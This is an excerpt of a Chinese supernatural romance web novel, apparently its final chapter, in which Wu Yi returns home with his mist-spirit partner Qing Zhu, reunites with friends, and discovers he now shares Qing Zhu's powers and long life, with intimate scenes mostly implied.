搂着他的手臂逐渐收紧,卿烛俯身在他颈窝重重嗅过。 “是想你。” 乌宜听见他这话,忽然怔了一下,然后从他怀里退出,眨巴着大眼睛打量他,顺带着捧住他的脸,满脸都是好奇。 “该不会要哭吧。” 他还没有见过卿烛掉眼泪诶。 卿烛没有露出无奈的表情,只是俯身贴下来,高大的身体几乎将他完全罩住,用力吻住了他的唇。 突如其来的袭击让乌宜大惊失色,他还没有反应过来,后颈就被用力握住,将他整个人往前推,他没办法推距,只能在激烈而又缠绵的吻中配合地张开唇,鼻息急促炙热,不由得发出细细哼声。 卿烛向来不喜欢多言,只是身体力行地让他感受到了自己的思念。 这个吻仿佛没有尽头,他本来以为要结束,嘴唇滚烫舌头发麻,正靠在卿烛怀里急促喘着气,就又被咬住了嘴唇。 一次比一次凶,好像在用这种方式证实某件无法确定的事情。 “唔嗯……” 敏感的上颚被重重舔过,唇舌交缠,他整个人倒进柔软的床铺之中,被炙热的身躯压住,手指都被过分的吻汲取完力气,轻轻发颤,一句话也说不出—— 作者有话说:卿:[摆手][裤子]《 》 【终章】 第60章 乌宜算过, 自己醒来以后,和卿烛在房间里厮混了五天,他嘴唇破了皮, 这次醒过来以后身体似乎变得比原先还要更敏感,皮肤对一切的反应都要更大,也就导致明明只是缠绵的吻,也能让他感觉过了头。 他找借口让卿烛带自己出去玩,可是海岛根本就没有别人, 卿烛还是要怎么样就怎么样,即便他也很喜欢跟卿烛做亲密的事情,可这样的频率对于他而言还是太过分。 于是又待了半个月, 他终于忍不住, 让卿烛带自己回云京。 彼时的云京已经快要入夏,温度适宜, 乌宜忍不住想要把外套脱下来,却被卿烛阻止, 只能一边往通道外走,一边小声抱怨。 “你的审美好差,这个外套跟我的内搭一点都不配。“ 卿烛推着行李箱, 长发披散, 不同于他又是外套又是内搭,身上只穿着一件单薄的V领毛衣, 勾勒出宽肩,整个人显得很是冷淡,像从哪个秀场出来的模特。 他说:“外套是你自己挑的。” 乌宜就差蹦起来抗议了,“我是买来搭配我的另一件内搭,可是我今天衣服是长款的, 一点都不配!” “……” 卿烛不懂,只能任由他念叨。 还没走两步,乌宜忽然停住脚步,卿烛目光一凛,朝那方向看去,却见是同样推着行李箱的沈跃。 “小宜!”沈跃摘下墨镜,一副不可置信的表情。 乌宜也很惊喜,“沈跃哥哥!” 他高高兴兴丢下卿烛跑过去,到面前正要说话,却被激动的沈跃一把抱起。 “你、你这是好了?” 乌宜有些吃惊,但还是乖乖让他抱着,撑着他的肩膀笑,“是呀,我今天跟卿卿一起回来哦。” 沈跃眸中竟然闪动着类似泪光般的亮点,“我正准备回来看看你,没想到……” 他情绪过分激动,再说不下去,只用力抱住了乌宜,力度很大。 乌宜感受到他的思念,便也没有挣扎,任由他抱了很久才松开,然后腰上圈了一道黑雾,整个人被拖了出去。 后背撞上结实的胸膛,他转头看见卿烛面无表情。 “人多,回去说。” 乌宜转头一看,发现周围已经有人在拍照了,只好带着沈跃上了来接他们的车。 可没成想,开车的居然是傅流晔。 乌宜一路上说话都没停过,一年时间没见,傅流晔和沈跃都有不少问题好奇,几人一路聊到了傅家,到了地方,岑悦和岑锦已经在门口等候。 岑悦一看见乌宜,眼眶瞬间就红了,过来抱住他,又思念又心疼。 “回来了就好,以后都好好的,别干那危险的事情了。” 乌宜一晚上时间都被他们簇拥着,心脏酸酸涨涨似乎塞满了某种难以言说的情绪,让他感到心情复杂。 但最后即便岑悦强烈要求,他们还是先回了自己家。 上了床,乌宜习惯性往卿烛怀里钻,饶有兴致地将今晚吃饭的照片发到社交平台,还顺带着拍上了傅流晔和沈跃,他给自己的脸上打了一个猫猫头表情包,惹得不少粉丝狂欢。 [救命眼神好宠,沈跃这种眼神你从未分给过我] [弟控模式启动] [宝宝好久没有发过照片了,感觉又瘦了一点,要多吃啊] [但还是好漂亮,衣服是最新款吧,好会穿啊,考虑转型穿搭博主吗?] 乌宜高高兴兴回复了评论,等把手机放下,看见卿烛还在翻阅电子书,瞥见一串看不懂的古怪字符,他想也不想就翻个身坐在对方的身上,占据他的所有目光。 “不看了,跟我聊天。” 卿烛眸色淡淡,“我们之间可没这么多话题。” 这话听着怎么酸溜溜的? 乌宜才不接招,反将一军:“你觉得我们没话题吗?嫌弃我太幼稚,不像秦爷爷一样可以跟你追忆往昔是不是?” 他说这话时气鼓鼓的,一副认真的样子。 两人之间距离太近,卿烛侧开头,还没来得及再说点什么,乌宜就主动凑过来在他唇上轻轻啄吻。 “好啦好啦,你的脾气真是越来越大了,我哄哄你还不行吗?” 分明自己最爱生气,可这会儿他却将脾气都推在卿烛身上,因为知道对方不会生气,又笑嘻嘻搂住他的脖子。 “我明天去店里看看,文雅她们都以为我去度假了。” “这么闲不住。” 卿烛总算放下手机,抚住他的柔韧纤瘦的后腰,将人往怀中压了压。 乌宜哼哼两声,“可是我不想这么快回去上学嘛,反正我有的是时间。” “的确。” 卿烛这话意味不明,乌宜还没搞明白,就忽然被他翻身压住,整个人被罩在下面,但却丝毫不害怕,伸手揪住卿烛的衣领,将睡袍扯得散乱松垮,手不由得抚在流畅凌厉的肌肉上,沿着深凹的鲨鱼线摸下去。 手被扣住,乌宜被迫承受缠绵而深的吻,脑袋微微发烫,感觉整个人都要炸开了一样。 直到卿烛的手循着后腰往下,他才恍惚意识到今天的进度跟平时似乎不太一样,可面前的人是卿烛,无论怎样他都说不出拒绝的话。 更何况……他也很喜欢跟卿烛在一起,无论做什么。 夜色渐深,只是半小时后,他就骤然改变了想法,趴在柔软的床垫上砸眼泪。 “我要回去自己睡了。” 炙热的掌心束紧,收拢他的脚踝将他扯回去,卿烛向来是实干派,不爱废话,此时也只是用行动表明了自己的态度。 柔软的床垫剧烈摇晃,思绪飘远又被扯回,浑身的温度急剧上升。 外头天光大亮,露台的花草缀着点点晨露,被风一吹,蜿蜒而下。 乌宜合上双眼,含着委屈沉沉睡去。 梦境中出现一粒小小的白点,他即便全身酸疼失了力气,却还好奇伸手想要去摸,下一瞬那白光笼罩过来,将他覆盖。 梦幻的一幕浮现,他看见自己躺在一片草坪上,身边黑雾笼罩,如同触手般往他袖口衣领里钻,惹得他只能伸手捂住。 “烦死了!” 捂着胸前,他弓起脊背,脸颊潮红。 黑雾像是终于玩够了,在他身侧幻化成人形,俯身看向他,伸手捋他的发丝,“这么喜欢黑发。” 乌宜这才发现梦中的他头发是黑色的短发,跟他现在不太一样,只是还没等他感到奇怪,短发就忽然延伸蔓至身后,变回了蓝白色。 在日光下,发丝被覆上一层淡金,他看见自己坐起来扑进卿烛的怀里,两个人交换了一个温柔的吻。 他的脸颊微微涨红,睫羽还在控制不住地轻颤,眼神却清澈又干净,带着不加掩饰的期盼。 “这么多年了,还这副样子,你长不大?”卿烛眸色变得深沉,手指蹭过他的眼尾。 一时间,乌宜感觉自己的脸也有点痒。 眼前的画面逐渐模糊,他也觉得奇怪,什么叫做这么多年了?自己和卿烛刚做完最亲密的事情,怎么梦里却好像过了很多年。 还没有等他想明白,便因为过度的劳累失去了意识。 再次醒来,屋子里很安静,遮光的窗帘已经开了,只有一层薄薄的纱帘遮刺目的阳光,一缕缕阳光洒在床尾。 乌宜动了动腿,被那难以言喻的酸痛弄得脸热,想到昨夜的画面,不由得又拢住被子,有些难为情。 有气无力地趴了一会儿,他既无聊又不想起来,便抬起酸软的手臂想要去摸手机玩,可距离过分远,半天没能摸到。 正觉得憋屈,准备艰难爬起来,指尖却溢出了稀薄的雾气,如同有生命般将手机卷起,收入了他的手中。 “!!!” 方才的一幕像是幻觉,他愕然睁大眼睛,摸着冰冷的手机,点开关上几次,才确定自己没看错。 看了看自己的手,他又学着卿烛平时的样子一挥手,可什么也没发生。 “奇怪了。” 总不能是一次性的吧。 正好奇,房间门被推开,他下意识要问卿烛,可是一偏头看见男人领口间的齿痕,又涨红了脸,闭上嘴。 他什么时候咬过啊?还破皮结痂了,不会是卿烛故意讹他吧。 卿烛似乎洞悉了他心中所想,弯起唇角很轻地笑了一下,然后忽然伸出手。 乌宜靠在床头,狐疑地看着他,“嗯?” 他还躺在床上呢,这什么意思啊。 还没等他明白卿烛的意思,就见对方的手中卷出绸缎般的浓雾,在贴近他时戛然而止,而他下意识抬手,指尖萦绕出淡淡的蓝光,与之交融。 “好神奇啊。” 他觉得很有意思,一股淡淡的暖意在身体中流淌,像极了他苏醒以后,卿烛每一次疗愈他身体时的感觉。 只是现在,这股力量来源于他自己。 卿烛一言不发抬手,黑雾变成一只小小的猫咪,蹦跶蹦跶跑到乌宜的身边,往他的怀里钻。 “猫猫!” 乌宜眼睛一亮,将那柔软的雾气搂进怀里。 他从前最喜欢这个,很久之前,福利院门卫室里养的那只小猫忽然不见了,保安说送给了其他人,他晚上哭到睡不着觉,卿烛被他骚扰烦了,便用黑雾幻化成了那只猫的样子哄他。 只是等他长大以后,就很少有机会可以让卿烛变了,他知道卿烛是不好意思。 指尖微微一动,白色的小猫随之出现,一黑一白紧紧贴在一起。 “我说过,我们时间还很长。”卿烛凝视着他。 乌宜迟疑着坐起来,也才迟钝意识到卿烛话语中的意思,自从在山上就失去的记忆骤然浮现,让他恍然间想起了什么。 从他儿时被拖上山,血液洇入泥土之中,将卿烛唤醒,再到一年前,他在火光中失去意识,身体一寸寸被重塑,身体之中半边骨泛着鎏金光泽,终于形成。 心头微微一震,乌宜抬手仓皇摸向胸口,再度回神,眼泪已经克制不住重重砸下。 “你……” “你总和别人比。”卿烛已经来到了他的面前,如同梦中那样,俯身轻轻蹭去他眼尾的泪光,“我早说过,你和他们不一样。” 从最开始,他就不是随从和仆人。 数年前林水镇,血液相融,乌宜唤醒了他,血契早早结下,从头到尾,他一直都是掌握绳索的饲主。 乌宜很轻地眨了一下眼睛,注视着近在咫尺的殷红深沉眼眸,心中那点担忧终于消散。 他抿一下嫣红发肿的唇,讷讷问:“那我能活多少年啊?” “不清楚。”卿烛的指腹轻蹭过他的唇,“大概是很久,和我一样。” “万一世界毁灭呢。” 卿烛捧住他的脸,给了想要的答案。 “那最后一刻,陪着你的也是我。” 乌宜舒展开眉宇,仰起头和他交换了一个很轻的吻,睁眼间,从那双眼中读出了毫无隐藏的宠爱。 如果是那样的话,他以后就再也不会感到害怕了。 ——正文完——《 》